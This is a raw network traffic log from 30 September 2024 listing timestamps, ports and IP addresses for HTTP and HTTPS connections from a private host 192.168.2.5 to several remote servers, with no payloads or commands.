Sep 30, 2024 09:51:27.080286980 CEST	49721	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:27.085218906 CEST	80	49721	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:27.085298061 CEST	49721	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:27.155527115 CEST	49721	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:27.160449982 CEST	80	49721	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:27.780949116 CEST	49725	443	192.168.2.5	142.250.184.238
Sep 30, 2024 09:51:27.780991077 CEST	443	49725	142.250.184.238	192.168.2.5
Sep 30, 2024 09:51:27.781068087 CEST	49725	443	192.168.2.5	142.250.184.238
Sep 30, 2024 09:51:27.782037020 CEST	49725	443	192.168.2.5	142.250.184.238
Sep 30, 2024 09:51:27.782059908 CEST	443	49725	142.250.184.238	192.168.2.5
Sep 30, 2024 09:51:27.808284044 CEST	80	49721	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:27.810605049 CEST	49721	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:28.419655085 CEST	443	49725	142.250.184.238	192.168.2.5
Sep 30, 2024 09:51:28.420941114 CEST	49725	443	192.168.2.5	142.250.184.238
Sep 30, 2024 09:51:28.420952082 CEST	443	49725	142.250.184.238	192.168.2.5
Sep 30, 2024 09:51:28.421427965 CEST	443	49725	142.250.184.238	192.168.2.5
Sep 30, 2024 09:51:28.421488047 CEST	49725	443	192.168.2.5	142.250.184.238
Sep 30, 2024 09:51:28.422265053 CEST	443	49725	142.250.184.238	192.168.2.5
Sep 30, 2024 09:51:28.422322035 CEST	49725	443	192.168.2.5	142.250.184.238
Sep 30, 2024 09:51:28.424029112 CEST	49725	443	192.168.2.5	142.250.184.238
Sep 30, 2024 09:51:28.424139023 CEST	443	49725	142.250.184.238	192.168.2.5
Sep 30, 2024 09:51:28.424371004 CEST	49725	443	192.168.2.5	142.250.184.238
Sep 30, 2024 09:51:28.424376965 CEST	443	49725	142.250.184.238	192.168.2.5
Sep 30, 2024 09:51:28.466252089 CEST	49725	443	192.168.2.5	142.250.184.238
Sep 30, 2024 09:51:29.561420918 CEST	49721	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:29.561718941 CEST	49729	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:29.575634003 CEST	443	49725	142.250.184.238	192.168.2.5
Sep 30, 2024 09:51:29.575709105 CEST	443	49725	142.250.184.238	192.168.2.5
Sep 30, 2024 09:51:29.576163054 CEST	80	49729	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:29.576183081 CEST	80	49721	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:29.576217890 CEST	49725	443	192.168.2.5	142.250.184.238
Sep 30, 2024 09:51:29.576246977 CEST	49729	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:29.576282978 CEST	49721	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:29.595438957 CEST	49729	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:29.600274086 CEST	80	49729	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:29.600580931 CEST	49725	443	192.168.2.5	142.250.184.238
Sep 30, 2024 09:51:29.600606918 CEST	443	49725	142.250.184.238	192.168.2.5
Sep 30, 2024 09:51:29.615443945 CEST	49730	443	192.168.2.5	142.250.185.142
Sep 30, 2024 09:51:29.615474939 CEST	443	49730	142.250.185.142	192.168.2.5
Sep 30, 2024 09:51:29.615540981 CEST	49730	443	192.168.2.5	142.250.185.142
Sep 30, 2024 09:51:29.615688086 CEST	49730	443	192.168.2.5	142.250.185.142
Sep 30, 2024 09:51:29.615708113 CEST	443	49730	142.250.185.142	192.168.2.5
Sep 30, 2024 09:51:29.944950104 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:29.944974899 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:29.945040941 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:29.945204973 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:29.945211887 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:30.264202118 CEST	443	49730	142.250.185.142	192.168.2.5
Sep 30, 2024 09:51:30.288805008 CEST	49730	443	192.168.2.5	142.250.185.142
Sep 30, 2024 09:51:30.288821936 CEST	443	49730	142.250.185.142	192.168.2.5
Sep 30, 2024 09:51:30.289232016 CEST	443	49730	142.250.185.142	192.168.2.5
Sep 30, 2024 09:51:30.289288998 CEST	49730	443	192.168.2.5	142.250.185.142
Sep 30, 2024 09:51:30.289829969 CEST	443	49730	142.250.185.142	192.168.2.5
Sep 30, 2024 09:51:30.289881945 CEST	49730	443	192.168.2.5	142.250.185.142
Sep 30, 2024 09:51:30.296355009 CEST	80	49729	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:30.296421051 CEST	49729	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:30.301065922 CEST	49730	443	192.168.2.5	142.250.185.142
Sep 30, 2024 09:51:30.301156044 CEST	443	49730	142.250.185.142	192.168.2.5
Sep 30, 2024 09:51:30.301285028 CEST	49730	443	192.168.2.5	142.250.185.142
Sep 30, 2024 09:51:30.301305056 CEST	443	49730	142.250.185.142	192.168.2.5
Sep 30, 2024 09:51:30.342370033 CEST	49730	443	192.168.2.5	142.250.185.142
Sep 30, 2024 09:51:30.570678949 CEST	443	49730	142.250.185.142	192.168.2.5
Sep 30, 2024 09:51:30.570700884 CEST	443	49730	142.250.185.142	192.168.2.5
Sep 30, 2024 09:51:30.570770025 CEST	443	49730	142.250.185.142	192.168.2.5
Sep 30, 2024 09:51:30.570868969 CEST	49730	443	192.168.2.5	142.250.185.142
Sep 30, 2024 09:51:30.571023941 CEST	49730	443	192.168.2.5	142.250.185.142
Sep 30, 2024 09:51:30.573420048 CEST	49730	443	192.168.2.5	142.250.185.142
Sep 30, 2024 09:51:30.573443890 CEST	443	49730	142.250.185.142	192.168.2.5
Sep 30, 2024 09:51:30.591470957 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:30.595345020 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:30.595360041 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:30.596066952 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:30.596093893 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:30.596154928 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:30.596165895 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:30.598568916 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:30.598579884 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:30.610317945 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:30.610488892 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:30.610492945 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:30.654345036 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:30.654383898 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:30.701117992 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:30.863553047 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:30.863687038 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:30.863756895 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:30.863770962 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:30.864789009 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:30.864840031 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:30.864850044 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:30.871376991 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:30.871431112 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:30.871439934 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:30.877434969 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:30.877697945 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:30.877707005 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:30.883773088 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:30.883827925 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:30.883836985 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:30.890105009 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:30.890166044 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:30.890175104 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:30.896490097 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:30.896542072 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:30.896549940 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:30.902662992 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:30.902714968 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:30.902724028 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:30.951095104 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:30.960403919 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:30.960549116 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:30.960602045 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:30.960611105 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:30.960747957 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:30.960815907 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:30.960824966 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:30.960853100 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:30.962258101 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:30.965691090 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:30.973089933 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:30.973170996 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:30.973170996 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:30.973193884 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:30.973306894 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:30.978480101 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:30.985058069 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:30.985116005 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:30.985124111 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:30.991950989 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:30.992012978 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:30.992022038 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:30.998594046 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:30.998653889 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:30.998661995 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.002928019 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.002986908 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.002995968 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.008382082 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.008433104 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.008440971 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.018559933 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.018640041 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.018647909 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.018665075 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.018743038 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.019144058 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.024687052 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.024761915 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.024770021 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.030750990 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.030826092 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.030909061 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.030917883 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.032233000 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.035538912 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.040965080 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.041018963 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.041028976 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.044945955 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.045002937 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.045011997 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.049109936 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.049173117 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.049180984 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.052638054 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.052689075 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.052700043 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.056457996 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.056519032 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.056525946 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.059911966 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.059969902 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.059978008 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.063530922 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.063584089 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.063591957 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.066967010 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.067086935 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.067142010 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.067151070 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.070602894 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.070611000 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.074208975 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.074285984 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.074290037 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.074320078 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.074362993 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.077811956 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.081094027 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.081204891 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.081265926 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.081274986 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.082559109 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.084747076 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.088491917 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.088602066 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.088685989 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.088695049 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.090562105 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.092024088 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.097960949 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.098010063 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.098014116 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.098026037 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.098566055 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.098931074 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.102293015 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.102368116 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.102376938 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.102385044 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.102427006 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.105964899 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.109519005 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.109558105 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.109608889 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.109616041 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.110569000 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.112886906 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.116175890 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.116259098 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.116338015 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.116347075 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.118571043 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.119370937 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.122473955 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.122534037 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.122541904 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.122621059 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.122673988 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.122680902 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.125711918 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.126589060 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.126597881 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.130322933 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.130393028 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.130400896 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.132077932 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.134571075 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.134578943 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.134882927 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.134936094 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.134943962 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.137017965 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.138607979 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.138617992 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.139025927 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.139107943 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.139117002 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.141091108 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.141292095 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.141300917 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.142995119 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.143040895 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.143049955 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.144992113 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.145095110 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.145103931 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.147322893 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.147362947 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.147371054 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.149663925 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.150562048 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.150569916 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.151806116 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.151850939 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.151859999 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.153913021 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.154567003 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.154575109 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.155235052 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.155278921 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.155287027 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.156718016 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.158567905 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.158612013 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.158624887 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.158633947 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.158662081 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.160541058 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.162136078 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.162209034 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.162218094 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.162559986 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.162568092 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.164206982 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.164254904 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.164263010 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.165867090 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.165911913 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.165920019 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.167666912 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.169275999 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.169308901 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.169325113 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.169333935 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.169354916 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.171042919 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.171081066 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.171128035 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.171144009 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.172849894 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.172918081 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.172925949 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.172966003 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.174444914 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.176058054 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.176094055 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.176141977 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.176151991 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.177715063 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.177761078 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.177768946 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.177809954 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.179485083 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.180998087 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.181034088 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.181054115 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.181062937 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.182558060 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.182627916 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.184221029 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.184256077 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.184286118 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.184294939 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.185765982 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.185811996 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.185821056 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.185859919 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.187259912 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.188879967 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.188915968 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.188929081 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.188936949 CEST	443	49731	216.58.206.33	192.168.2.5
